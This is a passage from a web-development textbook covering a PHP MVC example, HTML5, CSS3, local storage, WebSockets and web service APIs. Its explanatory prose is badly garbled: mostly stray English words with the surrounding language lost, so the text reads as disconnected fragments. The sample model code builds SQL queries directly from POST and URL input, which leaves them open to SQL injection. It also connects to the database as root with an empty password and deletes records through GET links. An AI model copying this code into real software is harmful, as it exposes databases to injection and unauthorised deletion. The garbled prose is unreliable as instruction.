Professional Web Developer () Model-View-Controller

381

.foot {
font-size: 13px;
color: #999;
text-align: center;
padding: 8px;
border-top: 1px solid #ddd;
}
.content {
padding: 20px;
}
</style>
</head>
<body>
<div class="wrap">
<h1>Book Category</h1>
<div class="content">
<?php include($view) ?>
</div>
<div class="foot">&copy; 2013</div>
</div>
</body>
</html>

index.php View Wrapper Main Document Structure Structure


Application Interface Copyright Statement Element
CSS JavaScript
File CSS index.php Internal Style

$view Variable Include View Template render()
Function render() Function View Template Path $view Variable
index.php include($view)
View
Template
controllers/category.php
<?php
switch($action) {
case "":
case "list":
show_list();
break;
case "new":
show_new();
break;

Professional Web Developer () Model-View-Controller

382

case "add":
add_cat();
break;
case "del":
rm_cat($id);
default:
exit("Unknown action -> $action");
}
function show_list() {
$cats = get_cats();
render("list", $cats);
}
function show_new() {
render("new");
}
function add_cat() {
$name = $_POST['name'];
$result = insert_cat($name);
header("location: http://localhost/mvc/category/list/");
}
function rm_cat($id) {
$result = del_cat($id);
header("location: http://localhost/mvc/category/list/");
}
?>

$action Variable URL Action mvc.php


Variable switch() Statement Action Function
Controller
Request
Request mvc/category/list/ Action
list show_list() Function show_list() Function
Model get_cats() Function

show_list() Function get_cats() Function Category


render() Function View Template list
Data get_cats() Category

Model get_cats()

model/category.php

Professional Web Developer () Model-View-Controller

383

<?php
$conn = mysql_connect("localhost", "root", "");
mysql_select_db("store", $conn);
function get_cats() {
$result = mysql_query("SELECT * FROM categories");
$cats = array();
while($row = mysql_fetch_assoc($result)) {
$cats[] = $row;
}
return $cats;
}
function insert_cat($name) {
mysql_query("INSERT INTO categories
(name, created_date, modified_date)
VALUES ('$name', now(), now())"
);
return mysql_insert_id();
}
function del_cat($id) {
mysql_query("DELETE FROM categories WHERE id = $id");
return mysql_affected_rows();
}
?>

Model Request/Respond
Table Script

view/category/list.php
<h2>List</h2>
<ul>
<? foreach($data as $cat): ?>
<li>
[ <a href="http://localhost/mvc/category/del/<?= $cat['id'] ?>">del</a> ]
<strong><?= $cat['name'] ?></strong>
</li>
<? endforeach; ?>
</ul>
<br>
<a href="http://localhost/mvc/category/new/">New Category</a>

Professional Web Developer () Model-View-Controller

384

View Template Request/Respond


$data Variable Variable
http://localhost/category/list/ Request index.php View
Template (-)

(-) category/list/ Result


(-) Browser URL mvc/category/list/
Delete del Link
mvc/category/del/[id] Request Controller del Action

Category View Template
view/category/new.php <h2>New</h2>
<form action="http://localhost/mvc/category/add/" method="post">
<input type="text" name ="name" placeholder="Category name">
<input type="submit" value="Add">
</form>
<br>
<a href="http://localhost/mvc/category/list/">Category List</a>

Professional Web Developer () Model-View-Controller

385

View Template Template Form


action mvc/category/add/ Form
Request Controller add Action add Action add_cat()
Function add_cat() Function Model insert_cat()
Function Form Data categories Table

Code Code

Edit view/
category/list.php Edit Link view/category/ edit.php
( ) Edit Form View Template
controllers/category.php edit update Action
models/category.php categories Table Update

Model View Template Pattern
Book Controller,
Book Model Book View Category MVC
Model View Category Book
MVC

Conclusion


"MVC "
Application





Project MVC Architecture Pattern

Web Development Course


Course ()
()
Email: eimg@fairwayweb.com
Website: http://eimaung.com/courses

Professional Web Developer () HTML5

387

() HTML5
Dream Come True for Web Developers

() HTML Semantic Document Structure



HTML
Browser


"" "" Data Model HTML Text Document Format
Markup Language
HTML4.0 HTML Working Group W3C
W3C Workshop "Shaping the
Future of HTML"
Workshop "HTML4
XML Markup Language "

HTML Working Group XHTML


HTML
XHTML1.1
XHTML Browser Web Browser
HTML ( ) XHTML


Browser Document Document
Web Document %
W3C
XHTML
(Browser ) HTML
XHTML W3C
XML Document Document Error Message
XHTML XML Markup Language
Browser Document Error

Professional Web Developer () HTML5

388

Website
Error Document Developer
XHTML
Error
Browser Markup Structure

XHTML

W3C "Web Applications and Compound Documents" Workshop


Workshop Opera Software Ian Hickson (
Google )
"Web Application HTML, CSS JavaScript
Web Standard W3C "

Web Application Developer
W3C Web Standard
Ian Hickson
W3C HTML Work Group

HTML Work Group
W3C Ian Hickson
WHATWG

14.1 WHATWG

The Web Hypertext Application Technology Working Group WHATWG Web


Technology Apple,
Mozilla, Opera, Google ( Web Browser )
"Member" "Contributor"
Member

WHATWG Web Standard
Specification Spec W3C
Standard Web Developer

Standard

Professional Web Developer () HTML5

389


WHATWG Spec Web Forms 2.0 Web
Applications 1.0 Spec Spec HTML5

() W3C XHTML WHATWG HTML

W3C XHTML2 Browser Support WHATWG
Browser
W3C Tim Berners-Lee "HTML

HTML
(incremental improvements) "
HTML Working Group
W3C HTML Working Group WHATWG Web
Applications 1.0 HTML5 W3C
WHATWG Ian Hickson HTML5
Editor

HTML5
HTML5 Web Standard
HTML5 Browser
Browser Support
Developer HTML5

14.2 Separation of W3C and WHATWG

WHATWG Spec Living Standard


Version
Version

Professional Web Developer () HTML5

390

Browser WHATWG Spec Support


Feature Support HTML5 Support HTML6
Support WHATWG
Browser Support

WHATWG HTML5 Living
Standard HTML5
Version HTML
WHATWG

W3C HTML5 Version

Version HTML5 Candidate
Recommendation HTML5
Final HTML5.1

W3C WHATWG
Ian Hickson WHATWG

W3C HTML5 Editor W3C Editor

W3C HTML5 WHATWG


Living Standard
W3C Standard Body


Industry WHATWG
W3C Web Technology
WHATWG W3C
Standard

14.3 Should I Use HTML5 Now?

W3C HTML5 Standard Web


Browser HTML5 Support
Browser Google Chrome Mozilla Firefox
HTML5 Support Support

HTML5 ()

Professional Web Developer () HTML5

391

.) Feature Detection

Feature Detection HTML5 Feature Browser


Support JavaScript Tool Tool
Browser Support HTML5 Feautre Support
Feature Detect Tools Modernizr

Modernizr HTML5 Support Internet Explorer 8 Browser


<header>, <footer>, <aside>, <nav> HTML5 Semantic Layout Element

JavaSccript modernizr.com Download
Download <script> Element
HTML5 Support Browser HTML5 Semantic Layout Element

<script src="js/modernizr.min.js"></script>

HTML5 Feature Browser Support Modernizr



<input type="date" id="dob">
<script>
if( !Modernizr.inputtypes.date ) {
$("#dob").datepicker();
}
</script>

HTML5 Date Input Support Browser <input type="date"> Date


Pop-Up Calendar Browser Support Browser
Date Input Text Box
Modernizr
Modernizr.inputtypes.date Browser Date Input Support
Support jQuery UI Datepicker
jQuery UI Datepicker
HTML5 Date Input Datepicker Browser Native Performance jQuery UI
Datepicker Mobile Touch Device

HTML5 Feature Browser Support

Professional Web Developer () HTML5

392

.) Browser Support Check

HTML5 Feature Browser Support caniuse.com (Can I Use)


Feature Browser Support

(-) caniuse.com Browser Support of CSS3 @font-face


(-) caniuse.com CSS3 Feature @font-face Browser Support
@font-face HTML5 CSS3
Feature Browser Support
Feature

.) Enhancements

HTML5 Enhance

Web Application
HTML5 HTML5
Enhance Browser Support Application
Support
- <input type="text" name="fname" autofocus>
autofocus HTML5 Attribute HTML5 Support
Browser Document Input Focus
Support Focus
Enhancement HTML5

Professional Web Developer () HTML5

393

14.4 HTML5 Features

HTML5 Web Application


(-) HTML5 Feature

(-) HTML5 Feature Status


WHATWG W3C HTML5
Feature
Development
Deprecated Implement Feature Calendar
API, Messaging API, HTTP Caching Web SQL Deprecated
WebGL Non-W3C-Spec
HTML5

Working

Draft

HTML5

W3C

Professional Web Developer () HTML5

394

XHR2, File API, Media Capture, Indexed DB, Contacts API, Device Orientation,
Animation Timing Microdata Working Draft
Candidate Recommendation HTML5 Feature
Video/Audio, Canvas, Web Messaging, WebSockets, Drag & Drop, Web Worker, Web
Storage, Markup Candidate Recommendation
Proposed Recommendation
Geo Location API Proposed Recommendation
W3C Recommendation HTML5 Features
SVG, Web Open Font, RDFa W3C Recommendation

Feature
W3C Recommendation

14.5 Semantic Markup

() CSS Layout <div> Element


CSS <div> Generic Element
Layout Structure
Process HTML4.01 Layout
Element
HTML5 Layout Structure Semantic Element
Semantic Layout Element (Sectioning Element ) Browser
Layout

Professional Web Developer () HTML5

395

(-) HTML5 Sectioning Elements


(-) Three Columns Layout HTML5 Element
<section> <section> <div> Layout
Column Element <div>
<div>
Generic Element <section> Layout Group
Element
<header> <header> Element Section <body>
Section Document (-)
Document <header> Section

<hgroup> W3C HTML5 Element


Browser Support Element
<hgroup> -

Professional Web Developer () HTML5

396

<hgroup>
<img src="logo.png">
<h1>Section Title</h1>
<h2>Description or Tag Line</h2>
</hgroup>

<footer> <footer> Element Section Section Foot


<header> Document Foot
Section Foot

<nav> Document Navigation Link <nav> Element

Website Main Navigation
<aside> Section
Content Content
<header> <footer> Document Sidebar Section Sidebar


<article> - Content
-

<article> Element

<article class="comment">
<img src="user-one.jpg">
<h3>User Name</h3>
<p>Comment Body</p>
</article>
<article class="comment">
<img src="user-two.jpg">
<h3>User Name</h3>
<p> Comment Body </p>
</article>

Semantic Element
Modernizr
HTML5 Support Browser Semantic Element

14.6 Multimedia

Multimedia 2D Graphic HTML 4.01 Web Document


Video 2D Graphic Adobe Flash Microsoft Silverlight Plugin
HTML5 Multimedia 2D Graphic

Video Web Document <video> Element

Professional Web Developer () HTML5

397

<img> Element Image


<video src="intro.mp4" controls autoplay loop></video>

src Attribute Video File Path controls Attribute


Play/Pause, Stop Video Player Control autoplay
Attribute Document Lode Video Play
autoplay preload preload
Video Download/ Buffer loop Repeat
Video Replay
Video/Audio Internet Explorer 9 Modern Browser Support
Internet Explorer 8 Browser
Video Player jQuery Plugin Plugin HTML5 Video Support
Support Browser Flash Fallback

Video <video> Element Encoding Audio/ Video


Encoding Video MPEG 4, Ogg, Flash, WebM, AVI Format
Format Encode Video Play Codecs
H.264, Theora, VP8 Browser Support Codecs
<video> Element Format

<video controls>
<source src="intro.mp4">
<source src="intro.ogv">
<source src="intro.webm">
</video>

Browser Support Format Ignore Support Format



Audio <audio> Element <video> <video>
<audio> JavaScript API JavaScript <audio id="p" src="audio.mp3"></audio>
<div id="player-controls">

Professional Web Developer () HTML5

<button
<button
<button
<button
</div>

398

onclick="document.getElementById('p').play()">Play</button>
onclick="document.getElementById('p').pause()">Pause</button>
onclick="document.getElementById('p').volume+=0.1">V+</button>
onclick="document.getElementById('p').volume-=0.1">V-</button>

<audio> Element Playback Control controls Attribute JavaScript


Element CSS Style
Playback Controls

14.7 Graphic and Animation

2D Drawing Animation <canvas> Element Graphic


Animation JavaScript
<canvas id="draw" width="300" height="225"></canvas>
<script>
var elem = document.getElementById('draw');
var context = elem.getContext('2d');
if (context) {
context.fillRect(0, 0, 150, 100);
context.fillStyle = '#00f';
context.strokeStyle = '#f00';
context.lineWidth = 4;
context.fillRect(0, 0, 150, 50);
context.strokeRect(0, 60, 150, 50);
context.clearRect(30, 25, 90, 60);
context.strokeRect(30, 25, 90, 60);
}
</script>

Graphic Container Element <canvas> Element Graphic


JavaScript

2D Graphic Animation
HTML5

Professional Web Developer () HTML5

399

HTML5 Graphic SVG Scalable Vector Graphic


SVG XML Element Graphic Animation

<svg version="1.1" width="320" height="320" xmlns="http://www.w3.org/2000/svg">

<defs>
<radialGradient id="circleGrad">
<stop offset="0%" stop-color="rgb(255, 255, 0)" />
<stop offset="100%" stop-color="rgb( 0, 255, 0)" />
</radialGradient>
</defs>
<ellipse fill="url(#circleGrad)" stroke="#000" cx="50%"
cy="50%" rx="50%" ry="50%">
<animate attributeName="rx" values="0%;50%;0%" dur="2s"
repeatCount="indefinite" />
<animate attributeName="ry" values="0%;50%;0%" dur="2s"
repeatCount="indefinite" />
</ellipse>
</svg>

XML .svg Extension Image Viewer Browser


Animate
Graphic
Canvas
Web Development 2D Graphic
SVG Canvas 2D Graphic Animation
Canvas Graphic
Code (Imperative ) SVG XML Element (Declarative
) SVG File Element DOM API
Vector
Graphic Quality Canvas Pixel Bitmap
SVG Program
Performance Canvas

14.8 Forms

() HTML Form Element Text Box,


Button, Radio, Checkbox Element <input> Element type Attribute
Input Type HTML5 type Attribute
Input Type () -

Professional Web Developer () HTML5

400

search, tel, url, email, datetime, date, month, week, time, datetimelocal, number, range, color
-
Input Type Text Input
Semantic Touch Screen Mobile Devices
<input type="email"> Element Touch Screen Device
On-Screen Keyboard Email ( Space Bar ) @ Sign
.com
<input type="url"> Element URL / .com
On-Screen Keyboard <input type="search">
Keywords Keywords Clear Search
Keyword Browser
Input

(-) Google Chrome 21 Linux HTML5 From Support


HTML5 Form Input Type () Google Chrome 21 () Search Input Keyword Clear Button
Date Input Calendar Number Up/Down
Spinner Button Range Input Slider Color Input

Professional Web Developer () HTML5

401

Button Function Input


User Interface Text Input

HTML5 Input Type Attribute
Range Input
Number Input min, max,
step Attribute
<input type="range" min="0" max="100" step="10">

autofocus Attribute Input


Element Document Load Focus Attribute
placeholder placeholder Attribute Input Box Internal Label
Label Value Internal Label
Value Blank Label <input type="email" placeholder="Please enter your email">

list Attribute Element <datalist>


<input type="text" list="js-fw">
<datalist id="js-fw">
<option value="jQuery">
<option value="jQuery UI">
<option value="jQuery Mobile">
<option value="Dojo Toolkit">
<option value="MooTools">
<option value="YUI">
</datalist>

Data List <option> Element Text Input list


Attribute <datalist> id (-)

Professional Web Developer () HTML5

402

(-) HTML5 Data List


Text Input j Data List j

HTML5 Input Validation Input Element


required Attribute Input Submit

(-) Input Validateion


(-) <input type="tel" required> required Attribute
Form Submit Input
<input type="email"> Email Format

<input type="number" max="100"> 100


Professional Web Developer () HTML5

403

Validate <form> Element novalidate


Attribute Browser Validate

HTML5 Validation Auto Focus Internal Label


(Placeholder) Auto-completion (Data List) Developer
JavaScript Application
HTML5
Element Attribute Browser

14.9 CSS3

CSS3 HTML5

Form Input CSS 2.1 Developer
Image JavaScript
Style
Feature

Font Embed

CSS font-family Font


Font Style
Font font-family Web Safe Font
Common Font OS Font

CSS3 Website Font Font Embed
Font Browser
Embed Font CSS Font Embed
@font-face {
font-family: MyHelvetica;
src: local("Helvetica Neue"), url(MgOpenModernaBold.ttf);
}

@font-face Embed Font fontfamily src local() url() Source


local() Font Embed Font
Font local() Font url()
Font File Browser Download Embed
Font @font-face font-family

Professional Web Developer () HTML5

404

h1 {
font-family: MyHelvetica;
}

Browser Support Font Format


Font Squirrel Font Browser Support
Format Convert CSS Code

Link: http://www.fontsquirrel.com/fontface/generator
Google Font API www.google.com/fonts/ Font
Font <link> Element Font Embed Google
Browser

(-) Google Fonts

RGBA Color

Color Value CSS2 Color Name, RGB Hex Code RGBA


Transparency
CSS3 Color Value

Professional Web Developer () HTML5

405

#dialog {
background: #555;
background: rgba(0, 0, 0, 0.6);
}

#dialog Element CSS3 Browser Hex


Code rgba()
CSS3 Browser rgba()
( ) CSS3
Feature CSS3 CSS2
Fallback Style
rgba()
rgb() Red, Green Blue
Alpha Transparency
1 0 0 1 Transparency Level

Border Radius

Element Border
border-radius CSS3 Property
() CSS Property
#dialog {

border-radius: 10px;

10px Size

#dialog {

border-radius: 10px 10px 0 0;

TopLeft, TopRight, BottomRight, BottomLeft Size


Linear Gradient

Element Background Image Image CSS3 Gradient

Professional Web Developer () HTML5

406

(-) RGBA, Border Radius and Linear Gradient Demo

Linear Gradient #dialog {

background: linear-gradient(top, #469, #247);

linear-gradient () Gradient
Position top, right, bottom, left
Angle Degree ( - 45deg, -90deg, 70deg, 0deg)


Linear Gradient CSS3 Gradient Color Stop, Radial Gradient,
Repeating Gradients Complex Gradient

Text Shadow and Box Shadow

Drop Shadow text-shadow Property Element


box-shadow

Professional Web Developer () HTML5

p.note {
#dialog {

text-shadow: 2px 2px 3px #555;


box-shadow: 5px 5px 10px #999;

407
}
}

text-shadow box-shadow Property ()



X Offset Y Offset Shadow
Blur Radius Shadow Blur
Effect Size Shadow Color

(-) Box Shadow and Text Shadow Demo

Animations

CSS3 Animation Visual Animation


JavaScript CSS
.note {
animation: pulse 5s infinite;
}
@keyframes pulse {
0% {
background-color: orange;
}
100% {
background-color: red;
}
}

animation Property Select Element Animation

Professional Web Developer () HTML5

408

Animation Name pulse


pulse Definition
@keyframes pulse 0% Animation
Frame
100% Animation Frame 10%, 20%, 30%
Animation Frame 0% Frame Background
100% Background
.note Element Animation Name pulse
.note Element
Background Animation
animation Property 5s Animation Duration Background
Animation


Animation Speed
Animation Speed
infinite Animation Iteration Count infinite
Animation () infinite
3 animation Property
Value
delay direction Delay Animation
Animation
( ) Direction alternate

Direction alternate

.note {
animation: pulse 5s 0 infinite alternate;
/* name=pulse, duration=5s, delay=0, iteration=infinite, direction=alternate */

}
@keyframes pulse {
0% {
background-color: yellow;
}
50% {
background-color: orange;
}
100% {
background-color: red;
}
}

Vendor Prefixes

CSS
Feature W3C Recommendation
Feature W3C Recommendation
- rgba() border-radius CSS3 rgba()
W3C Recommendation border-radius Candidate Recomm-

Professional Web Developer () HTML5

409

endation CSS4 Working Draft



Browser CSS3
W3C Recommendation
Feature Support Candidate Recommendation Working Draft
Support

Browser Feature W3C Recommendation
Feature
CSS Feature Browser Vendor Prefix

linear-gradient() Mozilla
Firefox

-moz- Prefix
background: -moz-linear-gradient(top, #fff, #ddd);

Firefox 21 Browser Linear Gradient


-moz- Prefix Mozilla Prefix
Mozilla Mozilla Browser Engine Gecko Rendering Engine Browser
Mozilla Engine Browser
Google Chrome Version

-webkit- Prefix

background: -webkit-linear-gradient(top, #fff, #ddd);

Google Chrome Webkit Rendering Engine

-webkit- Prefix
Webkit Engine
Browser Apple Safari, Android Browser iOS Browser
Internet Explorer Feature -ms- Prefix
CSS3 Feature Browser

#dialog {
background:
background:
background:
background:
}

linear-gradient(top, #fff, #ddd);


-webkit-linear-gradient(top, #fff, #ddd);
-moz-linear-gradient(top, #fff, #ddd);
-ms-linear-gradient(top, #fff, #ddd);

() Official CSS3 Support

Professional Web Developer () HTML5

410

Browser Browser
Ignore
Feature Browser
CSS3 Website

Google Chrome, Chromium Opera Browser Blink Rendering Engine


Vendor Prefix Developer Blink Engine Vendor Prefix
Vendor Prefix

CSS3 Selector

CSS3 Selector Selector



img[src$=png] Attribute Selector $= Operator "
" src Attribute Value png <img> Element
Select
img[src^=blue] Attribute Selector ^= Operator ""
src Attribute Value blue <img> Element
Select
img[src*=bird] Attribute Selector *= Operator "
" src Attribute Value bird <img> Element
Select
p:empty :empty Pseudo-Class Content Element Select
Content <p> Element Select
p:not(.note) :not Pseudo-class Class note

<p> Element Select
ul ~ p Sibling selector Parent /
- Document Structure
<p> </p>
<ul> </ul>
<p> </p>
<p> </p>

Professional Web Developer () HTML5

411

<p> Element () ul ~ p Selector <ul> Element <p>


Element Selector
:nth-child, :target Pesudo-Class
Selector Property Value Fallback

Property Value Selector Browser Support

14.10 Offline Features

Web Application Resources Data Web Server


Client Server Request
Application Server Application

Data Resource Client-Side ClientSide Server
Performance Resource
Client-side

Email Application Server Inbox Email
Client-side Email Server
Client-side Email
(Email
) Email
Resource Browser

Browser

HTML5 Cookie
Cookie


Cookie Data Request Server
Cookie Application

Cookie 4KB


DHTML userData, Flash Cookie Flash Shared Objects, Flash Cookie

Professional Web Developer () HTML5

412

Ajax Massive Storage System (AMASS) Dojo Storage, Google Gear


HTML5 Web Storage Local Storage
AppCache

Client-side Data Storage

LocalStorage Cookie Web Browser


Cookie Request
Client/
Server Communication JavaScript localStorage Object

localStorage
localStorage.setItem("item", "value");

item = value () PHP


Cookie setcookie("item", "value")

var value = localStorage.getItem("item");

item LocalStorage value Variable


Cookie PHP $_COOKIE Superglobal Array localStorage Object
var value = localStorage["item"];

( )
var value = localStorage.item;

localStorage Object JSON Array item


LocalStorage
localStorage["item"] = "new value";

( )

Professional Web Developer () HTML5

413

localStorage.item = "new value";

Method removeItem() clear()


removeItem() clear()

localStorage.removeItem("item");
localStorage.clear();

LocalStorage
Domain

5MB Web Application


Client Resource Website 100MB Website
() Storage 2GB LocalStorage
Website
Setting Browser

5MB
LocalStorage Internet Explorer 8 Modern Browser Support
HTML5 Feature
Client-side Storage Feature IndexedDB
Record Database LocalStorage

Offline Application

Web Application
Client-side
Client-side Web Application
Offline Feature HTML5
AppCache

Offline Resource Cache Manifest
File
Resource HTML Document CSS File
JavaScript File Image Script File File Web Document

Professional Web Developer () HTML5

414

<!doctype html>
<html manifest="/cache.manifest">
<body>
...
</body>
</html>

<html> Element manifest Attribute cache.manifest File


cache.manifest File CACHE MANIFEST
FALLBACK:
/ /offline.html
NETWORK:
*
CACHE:
/style.css
/app.js
/logo.png

CACHE MANIFEST

Section () FALLBACK: Section Resource Error
Document / /offline.html
- Resource offline.html

/ Sign " Resource "
NETWORK: Section Resource
* Sign
" Resource
"
CACHE: Section Resource Web
Browser Manifest File CACHE: Section Resource
Download Offline
cache.manifest Document

Professional Web Developer () HTML5

415

FALLBACK: NETWORK: Section Optional Section CACHE: Section


Offline Resource
Application Offline

14.11 Real-Time Web Applications

() HTTP HTTP Client Pull


Technology Web Application
Real-Time App
Web Application

- Message
Chat Application
Client A Message Server HTTP
Client B
Client B Server Client A
Message Client A Message Client B
Real-Time Real-Time Client
Server Push
Facebook, Google+, Twitter, Gmail Application Real-Time Data
- Gmail Mail Real-Time
Facebook Comment Notification
Real-Time HTTP Pull Technology
Server Push Real-Time Ajax

Interval Server Request
- ()
Server Request Update
Server Update setInterval(function() {
$.get('get-data.php', function() {
// update data
});
}, 5000);

JavaScript setInterval() Method Function


Millisecond
get-data.php

XHR ()
Request
Server ()
Request
Bandwidth
Server Request

Professional Web Developer () HTML5

416

Long Polling

Long Pooling

Request Server Respond Update
Respond Client Request Respond
Respond Request/ Respond
Long Pooling Server Update
( ) Timeout Respond
Request Server Update Respond
Real-Time
[ Client ]
function pollStart () {
$.get('chat.php', function(msg) {
$("#chat-box").append(msg.text);
pollStart();
}, 'json');
};
pollStart();

pollStart() Function chat.php XHR Request Respond


pollStart() Function Request
Respond Update Server-side

[ Server ]
$time = time();
while((time() - $time) < 30) {
$data = get_update();
if($data) {
echo $data;
break;
}
usleep(500000);
}
echo "";

Server-side () Loop while() Loop


() Loop Data Update
Data Update Data
Respond
Loop Respond

Professional Web Developer () HTML5

417

usleep() Function Script


Microsecond
()
Millisecond One Microsecond

Client ()
Request Request/Respond
Bandwidth eimaung.com/pwd-rc/
Download

WebSockets

HTML5 Real-Time Application WebSockets


WebSockets Client-side Feature
Server-side Socket Server Setup PHP Socket
Server Node.JS
WebSockets WebSockets Node.JS Back-end Real-Time
Chat App
[ WebSockets Client in JavaScript ]

var connection = new WebSocket('ws://127.0.0.1:8000/');


connection.onmessage = function (res) {
$("#chat-box").append( res.data );
};
$("#send").click(function() {
connection.send( chatMsg );
});

JavaScript WebSocket Instant Socket Server Connection URL


Protocol http:// ws:// Socket Server Port

Server onmessage Event
Server send() Method
WebSocket Client
[ Socket Server in Node.JS ]

var WebSocketServer = require('websocket').server;


var http = require('http');
var server = http.createServer(function(request, response) { });
server.listen(8000, function() { });
wsServer = new WebSocketServer({
httpServer: server
});

Professional Web Developer () HTML5

418

var clients = [];


wsServer.on('request', function(req) {
var conn= req.accept(null, req.origin);
clients.push(conn);
conn.on('message', function(msg) {
for (var i=0; i < clients.length; i++) {
clients[i].sendUTF(msg.utf8Data);
}
});
});

Node.JS JavaScript Code


Rockstar Developer ()
NodeJS
require() Function websocket http Package Include
http.createServer() Web Server Server Port
8000

Socket Server new WebSocketServer

httpServer Port 8000
Web Server Full-Duplex Socket Server
Socket Server Client clients Array
on("request") Client
on("message")
Client clients Array Loop Client
sendUTF() Method
Client Socket Server Socket Server
Client
Real-Time Chat Application

WebSockets Support Browser Fallback Long Polling

socket.io
Web Application Real-Time WebSockets
Web Development

Professional Web Developer () HTML5

419

14.12 Other APIs

HTML5 Document Markup Web


Application

Web Application API

File API Web Application Client


HTML5 File API Client File


File, FileReader, FileList JavaScript Object File Name, Size, Type
File

Application Server File File
Size File Preview JavaScript

Drag & Drop API Drag & Drop User Interface JavaScript Framework

HTML5 dragstart, dragenter, dragover,


dragleave, dragdrop, dragend Drag & Drop Event Element
Drag
Element Element draggable="true"
Attribute

Geolocation API

Location API Location


IP Address Wifi Router
Mobile Device Cell Tower Device GPS
Geolocation API
JavaScript Location Application

Application Location Enhance

History API Gmail Gmail Interface Ajax Single Page

Interface Inbox Mail


Page Email Browser Back Button
? Back Button
" Page" Gmail Inbox Page ,
Email Page Page
Browser Back Button Inbox Gmail
Website
Gmail Browser Back Button
Gmail Website Inbox
Ajax Application History API
API Browser History JavaScript

Professional Web Developer () HTML5

420

Conclusion

HTML5

Feature Browser Support

HTML5 Web Application Mobile App
Mobile App Android, iOS, Windows
Mobile Mobile Platform Support Platform App
HTML5 Mobile Browser
Mobile Web App Cordova HTML5
App Mobile Platform App

Mobile Web App Mobile Device Web Browser
App HTML5 Mobile App HTML5
Browser Mobile Device Install
App
Mobile Web App HTML5 Mobile App Native App
Mobile Platform
App
LinkedIn, Netflex, Mafia Wars, Finical Times, Wunderlist HTML5 Mobiel App
Zoho, Google Doc, Google Drive, Scribd, HootSuite Mobile Web App

() Mobile Web Rockstar Developer ()
HTML5 Mobile App Cordova

Rockstar Developer

10x Programmer ()
Test-Driven Development, Service Oriented
Architecture, Git, SCRUM, NodeJS, MongoDB, ExpressJS,
Build Automation, Back-end Server Architecture

Email: author@rsdbook.com
Website: http://rsdbook.com

Professional Web Developer () Web Service API

422

() Web Service API


You Don't Have to Do That By Yourself

Web Development Mashup Website


Application Mashup

Google, Facebook, Twitter, YouTube, Yahoo
Web Application Data Function Web Service

Service API
API
() Application Program Interface
Service (Data Function)
Web Service API Web Application Data Function
URL -
Google Maps API URL

http://maps.googleapis.com/maps/api/geocode/json?address= Shwedagon,Yangon,Myanmar&sensor=false

address Query Showedagon,Yangon,Myanmar



address Query senser GPS Sensor
true
false
Browser URL Bar API
URL
{
"results" : [
{
"address_components" : [
{
"long_name" : "Bahan Township",
"short_name" : "Bahan Township",
"types" : [ "sublocality", "political" ]
},
{
"long_name" : "Yangon",
"short_name" : "Yangon",

Professional Web Developer () Web Service API

423

"types" : [ "locality", "political" ]


}
],
"formatted_address" : "Shwedagon Pagoda, Yangon, Burma",
"geometry" : {
"bounds" : {
"northeast" : {
"lat" : 16.79876370,
"lng" : 96.14999410
},
"southwest" : {
"lat" : 16.79798060,
"lng" : 96.14918689999999
}
},
"location" : {
"lat" : 16.79843610,
"lng" : 96.14946390
},
"location_type" : "APPROXIMATE",
"viewport" : {
"northeast" : {
"lat" : 16.79972113029151,
"lng" : 96.15093948029150
},
"southwest" : {
"lat" : 16.79702316970850,
"lng" : 96.14824151970849
}
}
},
"types" : []
}
],
"status" : "OK"
}

Geolocation JSON
Format Data Format XML
URL

http://maps.googleapis.com/maps/api/geocode/xml?address=Shwedagon,Yangon,Myanmar&sensor=false

Data Data Format XML


Web
Service API Geolocation
Data Google Maps API
Service API URL
Service Request API Key Data
API Key Website Register
Service
Data Function Web Service Function

Professional Web Developer () Web Service API

424

URL Service Provider API Documentation


Application
Programming Language

Google Maps API Website
Google Maps JavaScript API
<div id="map-canvas" style="width:400px; height:300px;"></div>
<script src="https://maps.googleapis.com/maps/api/js?sensor=false"></script>
<script>
function initialize() {
var mapOptions = {
center: new google.maps.LatLng(16.79843610, 96.14946390),
zoom: 15,
mapTypeId: google.maps.MapTypeId.ROADMAP
};
var map = new google.maps.Map(document.getElementById("map-canvas"),
mapOptions);
}
google.maps.event.addDomListener(window, 'load', initialize);
</script>

JavaScript Google Maps API Documentation Code

(-) Google Maps

Professional Web Developer () Web Service API

425

<div id="map-canvas"> Map initialize()


Function mapOptions Location


(-)

Zoom Maps
Website
Link: https://developers.google.com/maps/documentation/javascript/tutorial
Facebook API Facebook Like Button, Share, Comment, Like Box
Website - Facebook Like Button

<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<div class="fb-like" data-href="http://pwdbook.com/html/ch1/" data-send="true"
data-layout="box_count" data-width="300" data-show-faces="true"></div>

Facebook Developer Reference Code

(-) Facebook Like

Professional Web Developer () Web Service API

426

<div class="fb-like"> Element Like Button


Element data-href Attribute Website URL
()
Website URL
HTML Document (-)

Like Button
Like Send Button
Send Button Facebook Friend Message
Interface
Like Count Send Button Setting Facebook Developer
Reference User Interface
Link: http://developers.facebook.com/docs/reference/plugins/like-box/
Facebook Page Page Like Box Website

<div id="fb-root"></div>
<script>(function(d, s, id) {
var js, fjs = d.getElementsByTagName(s)[0];
if (d.getElementById(id)) return;
js = d.createElement(s); js.id = id;
js.src = "//connect.facebook.net/en_US/all.js#xfbml=1";
fjs.parentNode.insertBefore(js, fjs);
}(document, 'script', 'facebook-jssdk'));</script>
<div class="fb-like-box" datahref="http://www.facebook.com/ProfessionalWebDeveloperBook" data-width="400"
data-show-faces="true" data-stream="false" data-header="false"></div>

<div id="fb-root"> JavaScript Like Button



Document
<div class="fblike-box"> Element Like Box data-href
Attribute Facebook Page URL HTML Document
Facebook Page Like Box
Like Box Setting Facebook Developer
Reference User Interface
Link: http://developers.facebook.com/docs/reference/plugins/like-box/

Professional Web Developer () Web Service API

427

Facebook Developer Reference API Comment, Activities Feed,


Facebook Login Website

Weather Widgets with OpenWeatherMap API

AccuWeather Data API Weather Widget



Weather Data Access API URL
http://api.accuweather.com/developers/samples
Form Location Name

Yangon Location Name API URL
http://apidev.accuweather.com/currentconditions/v1/246562.json?language=en&apikey=meSocYcloNe
API URL Browser JSON Format

[
{
"LocalObservationDateTime": "2015-05-04T22:05:00+06:30",
"EpochTime": 1430753700,
"WeatherText": "Clear",
"WeatherIcon": 33,
"IsDayTime": false,
"Temperature": {
"Metric": {
"Value": 30.0,
"Unit": "C",
"UnitType": 17
},
"Imperial": {
"Value": 86.0,
"Unit": "F",
"UnitType": 18
}
},
"MobileLink": "http://m.accuweather.com/en/mm/yangon/246562/current-weather/246562",
